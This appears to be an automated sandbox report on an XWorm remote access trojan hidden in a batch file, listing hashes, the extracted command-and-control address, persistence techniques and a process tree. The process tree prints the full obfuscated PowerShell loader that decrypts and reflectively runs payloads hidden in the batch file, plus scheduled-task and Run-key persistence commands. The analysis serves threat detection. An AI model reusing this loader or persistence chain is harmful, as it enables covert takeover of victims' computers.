xworm | 8d6a1f82b25b86ff7edc38ea114090567b431b0e96b66a2762dd1d1b60606cd7

Analysis

max time kernel
141s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
26/04/2024, 17:59

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General

Target

UpdatedLoader.bat
Size

289KB
MD5

c0f748026877b82917b187db4f323302
SHA1

9741a92d9326b4b1464c0447091700780753adf6
SHA256

8d6a1f82b25b86ff7edc38ea114090567b431b0e96b66a2762dd1d1b60606cd7
SHA512

5119cec679deb07183f1f892789ac6f255854cf962f058892d8fc695b5589a21733780f0f4d94f770854de4bfa072d6097d9d1fd6f99683e31f234054e28ae70
SSDEEP

6144:WZxZqATF+Us3xiOITyaWPhjWC67GJgqLsCHE:WZxZqATF+bx2Tyag4F7GJgjOE

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:36797

allows-bass.gl.at.ply.gg:36797

Attributes

Install_directory
%Temp%
install_file
client.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3280-42-0x000002C74EDB0000-0x000002C74EDC6000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\client.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\client.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4912	client.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-891789021-684472942-1795878712-1000\Software\Microsoft\Windows\CurrentVersion\Run\client = "C:\\Users\\Admin\\AppData\\Local\\Temp\\client.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4228	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-891789021-684472942-1795878712-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe
2508	powershell.exe
2508	powershell.exe
3280	powershell.exe
3280	powershell.exe
3280	powershell.exe
4912	client.exe
4912	client.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeIncreaseQuotaPrivilege	2508	powershell.exe
Token: SeSecurityPrivilege	2508	powershell.exe
Token: SeTakeOwnershipPrivilege	2508	powershell.exe
Token: SeLoadDriverPrivilege	2508	powershell.exe
Token: SeSystemProfilePrivilege	2508	powershell.exe
Token: SeSystemtimePrivilege	2508	powershell.exe
Token: SeProfSingleProcessPrivilege	2508	powershell.exe
Token: SeIncBasePriorityPrivilege	2508	powershell.exe
Token: SeCreatePagefilePrivilege	2508	powershell.exe
Token: SeBackupPrivilege	2508	powershell.exe
Token: SeRestorePrivilege	2508	powershell.exe
Token: SeShutdownPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeSystemEnvironmentPrivilege	2508	powershell.exe
Token: SeRemoteShutdownPrivilege	2508	powershell.exe
Token: SeUndockPrivilege	2508	powershell.exe
Token: SeManageVolumePrivilege	2508	powershell.exe
Token: 33	2508	powershell.exe
Token: 34	2508	powershell.exe
Token: 35	2508	powershell.exe
Token: 36	2508	powershell.exe
Token: SeIncreaseQuotaPrivilege	2508	powershell.exe
Token: SeSecurityPrivilege	2508	powershell.exe
Token: SeTakeOwnershipPrivilege	2508	powershell.exe
Token: SeLoadDriverPrivilege	2508	powershell.exe
Token: SeSystemProfilePrivilege	2508	powershell.exe
Token: SeSystemtimePrivilege	2508	powershell.exe
Token: SeProfSingleProcessPrivilege	2508	powershell.exe
Token: SeIncBasePriorityPrivilege	2508	powershell.exe
Token: SeCreatePagefilePrivilege	2508	powershell.exe
Token: SeBackupPrivilege	2508	powershell.exe
Token: SeRestorePrivilege	2508	powershell.exe
Token: SeShutdownPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeSystemEnvironmentPrivilege	2508	powershell.exe
Token: SeRemoteShutdownPrivilege	2508	powershell.exe
Token: SeUndockPrivilege	2508	powershell.exe
Token: SeManageVolumePrivilege	2508	powershell.exe
Token: 33	2508	powershell.exe
Token: 34	2508	powershell.exe
Token: 35	2508	powershell.exe
Token: 36	2508	powershell.exe
Token: SeIncreaseQuotaPrivilege	2508	powershell.exe
Token: SeSecurityPrivilege	2508	powershell.exe
Token: SeTakeOwnershipPrivilege	2508	powershell.exe
Token: SeLoadDriverPrivilege	2508	powershell.exe
Token: SeSystemProfilePrivilege	2508	powershell.exe
Token: SeSystemtimePrivilege	2508	powershell.exe
Token: SeProfSingleProcessPrivilege	2508	powershell.exe
Token: SeIncBasePriorityPrivilege	2508	powershell.exe
Token: SeCreatePagefilePrivilege	2508	powershell.exe
Token: SeBackupPrivilege	2508	powershell.exe
Token: SeRestorePrivilege	2508	powershell.exe
Token: SeShutdownPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeSystemEnvironmentPrivilege	2508	powershell.exe
Token: SeRemoteShutdownPrivilege	2508	powershell.exe
Token: SeUndockPrivilege	2508	powershell.exe
Token: SeManageVolumePrivilege	2508	powershell.exe
Token: 33	2508	powershell.exe
Token: 34	2508	powershell.exe
Token: 35	2508	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3280	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2952	2232	cmd.exe	80
PID 2232 wrote to memory of 2952	2232	cmd.exe	80
PID 2952 wrote to memory of 3432	2952	net.exe	81
PID 2952 wrote to memory of 3432	2952	net.exe	81
PID 2232 wrote to memory of 3624	2232	cmd.exe	83
PID 2232 wrote to memory of 3624	2232	cmd.exe	83
PID 3624 wrote to memory of 2508	3624	powershell.exe	84
PID 3624 wrote to memory of 2508	3624	powershell.exe	84
PID 3624 wrote to memory of 1124	3624	powershell.exe	87
PID 3624 wrote to memory of 1124	3624	powershell.exe	87
PID 1124 wrote to memory of 2152	1124	WScript.exe	88
PID 1124 wrote to memory of 2152	1124	WScript.exe	88
PID 2152 wrote to memory of 1896	2152	cmd.exe	90
PID 2152 wrote to memory of 1896	2152	cmd.exe	90
PID 1896 wrote to memory of 1848	1896	net.exe	91
PID 1896 wrote to memory of 1848	1896	net.exe	91
PID 2152 wrote to memory of 3280	2152	cmd.exe	92
PID 2152 wrote to memory of 3280	2152	cmd.exe	92
PID 3280 wrote to memory of 4228	3280	powershell.exe	93
PID 3280 wrote to memory of 4228	3280	powershell.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\UpdatedLoader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Emg/s2Nqbhsh+IHYCyhmY5C8nNKJGCqMyuZe0+92Up0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('73puHVLJEGcUjNhG9zjGvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KqcjT=New-Object System.IO.MemoryStream(,$param_var); $HygAC=New-Object System.IO.MemoryStream; $Gnnyy=New-Object System.IO.Compression.GZipStream($KqcjT, [IO.Compression.CompressionMode]::Decompress); $Gnnyy.CopyTo($HygAC); $Gnnyy.Dispose(); $KqcjT.Dispose(); $HygAC.Dispose(); $HygAC.ToArray();}function execute_function($param_var,$param2_var){ $KKJtl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qznUp=$KKJtl.EntryPoint; $qznUp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\UpdatedLoader.bat';$LfXux=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\UpdatedLoader.bat').Split([Environment]::NewLine);foreach ($mqLFK in $LfXux) { if ($mqLFK.StartsWith(':: ')) { $YCoDq=$mqLFK.Substring(3); break; }}$payloads_var=[string[]]$YCoDq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_84_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_84.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_84.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_84.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2152
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1896
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:1848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Emg/s2Nqbhsh+IHYCyhmY5C8nNKJGCqMyuZe0+92Up0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('73puHVLJEGcUjNhG9zjGvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KqcjT=New-Object System.IO.MemoryStream(,$param_var); $HygAC=New-Object System.IO.MemoryStream; $Gnnyy=New-Object System.IO.Compression.GZipStream($KqcjT, [IO.Compression.CompressionMode]::Decompress); $Gnnyy.CopyTo($HygAC); $Gnnyy.Dispose(); $KqcjT.Dispose(); $HygAC.Dispose(); $HygAC.ToArray();}function execute_function($param_var,$param2_var){ $KKJtl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qznUp=$KKJtl.EntryPoint; $qznUp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_84.bat';$LfXux=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_84.bat').Split([Environment]::NewLine);foreach ($mqLFK in $LfXux) { if ($mqLFK.StartsWith(':: ')) { $YCoDq=$mqLFK.Substring(3); break; }}$payloads_var=[string[]]$YCoDq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3280
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "client" /tr "C:\Users\Admin\AppData\Local\Temp\client.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:4228

C:\Users\Admin\AppData\Local\Temp\client.exe
C:\Users\Admin\AppData\Local\Temp\client.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_epqtswgs.o3e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\client.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_84.bat

Filesize
289KB

MD5
c0f748026877b82917b187db4f323302

SHA1
9741a92d9326b4b1464c0447091700780753adf6

SHA256
8d6a1f82b25b86ff7edc38ea114090567b431b0e96b66a2762dd1d1b60606cd7

SHA512
5119cec679deb07183f1f892789ac6f255854cf962f058892d8fc695b5589a21733780f0f4d94f770854de4bfa072d6097d9d1fd6f99683e31f234054e28ae70

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_84.vbs

Filesize
114B

MD5
b646e0e79bea2e7e5adf588a91da0786

SHA1
c68648153fb367081c6d19b97ad79b5627f2a8c3

SHA256
67a886a3659fce83df76ced5eb6e3dae8d4cec3fa013c0c9724c9047fe7d16eb

SHA512
189ff30fa164f740f1e6fe7525ab4de9fcfa003d6a1fb3f5d9e5699467bca3d3f3b8171a4a88b6d6d1b53b647e33fc9c473fbb63bc11d643e2a682736b6cc037

Download Submit
memory/3280-42-0x000002C74EDB0000-0x000002C74EDC6000-memory.dmp

Filesize
88KB

Download
memory/3624-10-0x0000011DC09A0000-0x0000011DC09B0000-memory.dmp

Filesize
64KB

Download
memory/3624-13-0x0000011DC0A00000-0x0000011DC0A38000-memory.dmp

Filesize
224KB

Download
memory/3624-12-0x0000011DA8710000-0x0000011DA8718000-memory.dmp

Filesize
32KB

Download
memory/3624-11-0x0000011DC09A0000-0x0000011DC09B0000-memory.dmp

Filesize
64KB

Download
memory/3624-9-0x00007FFEE9470000-0x00007FFEE9F32000-memory.dmp

Filesize
10.8MB

Download
memory/3624-43-0x00007FFEE9470000-0x00007FFEE9F32000-memory.dmp

Filesize
10.8MB

Download
memory/3624-44-0x0000011DC09A0000-0x0000011DC09B0000-memory.dmp

Filesize
64KB

Download
memory/3624-49-0x0000011DC09A0000-0x0000011DC09B0000-memory.dmp

Filesize
64KB

Download
memory/3624-8-0x0000011DC09B0000-0x0000011DC09D2000-memory.dmp

Filesize
136KB

Download
memory/4912-59-0x000002277AF30000-0x000002277AF76000-memory.dmp

Filesize
280KB

Download